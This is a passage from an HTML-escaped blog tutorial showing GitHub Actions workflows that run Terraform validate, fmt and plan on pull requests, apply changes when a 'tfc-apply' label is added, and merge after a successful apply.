data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform fmt\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-fmt-check@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_plan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epermissions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtents\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull-requests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform plan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-plan@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis creates three jobs:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_validate\u003c/strong\u003e: This validates the terraform via \u003ccode\u003eterraform validate\u003c/code\u003e\ncommand to make sure that it is correct and doesn't have duplicate resources\nor anything like that.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_fmt\u003c/strong\u003e: This verifies that the terraform is well formatted by\nrunning the \u003ccode\u003eterraform fmt\u003c/code\u003e command.`\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_plan\u003c/strong\u003e: This runs the \u003ccode\u003eterraform\u003c/code\u003e plan and comments on the PR a\ndiff of the changes for you to verify.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo verify this is working, lets delete \u003ccode\u003eroot/2-sqs.tf\u003c/code\u003e, then lets push a branch\nand make a pull request to see the result so far:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot/2-sqs.tf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.github/\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echeckout\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply-before-merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecommit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Implemented on-pull-request\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epush\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eorigin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehead\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAfter you make the pull request you should 3 checks on it and a comment that\nshows the plan:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_comment.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_checks.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eApply on Label\u003c/h1\u003e\n\u003cp\u003eSo now that the plan is working we need some way to \u003ccode\u003eapply\u003c/code\u003e the changes. I've\nfound the best way to do this is via a label rather than a comment because of\nthe way github actions work. Their event based actions like \u003ccode\u003eon-comment\u003c/code\u003e aren't\nexecuted in the context of a pull-request.\u003c/p\u003e\n\u003cp\u003eSince we will be using a label to signal a plan is ready to be applied lets\ncreate a new file \u003ccode\u003e.github/workflows/on-pull-request-labeled.yml\u003c/code\u003e and provide\nthis content:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etypes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [ \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elabeled\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eTERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eGITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_apply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ github.event.label.name == 'tfc-apply' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epermissions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtents\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull-requests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-apply@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will fire whenever a pull request is labeled with the \u003ccode\u003etfc-apply\u003c/code\u003e label.\nYou will need to create this label for the repository.\u003c/p\u003e\n\u003cp\u003eIt will run the \u003ccode\u003eapply\u003c/code\u003e and update the previous plan comment to let you\nknow the status.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying_comment.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eMerge on Apply\u003c/h1\u003e\n\u003cp\u003eOne thing you'll notice is that the pull request stayed open even after the\ninfrastructure is applied and we don't want that. We want any changes that have\nmade it into the environment to be merged into \u003ccode\u003emain\u003c/code\u003e automatically. To do\nthis we'll create our final action.\u003c/p\u003e\n\u003cp\u003eCreate a new file \u003ccode\u003e.github/workflows/on-apply-finished.yml\u003c/code\u003e with this content:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# Only trigger, when the build workflow succeeded\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkflow_run\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkflows\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_apply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etypes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecompleted\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003emerge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ github.event.workflow_run.conclusion == 'success' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epermissions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtents\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull-requests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003echecks\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estatuses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eactions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eoutputs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epullRequestNumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Get information about the current run\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epotiuk/get-workflow-origin@v1_5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworkflow-run-info\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: 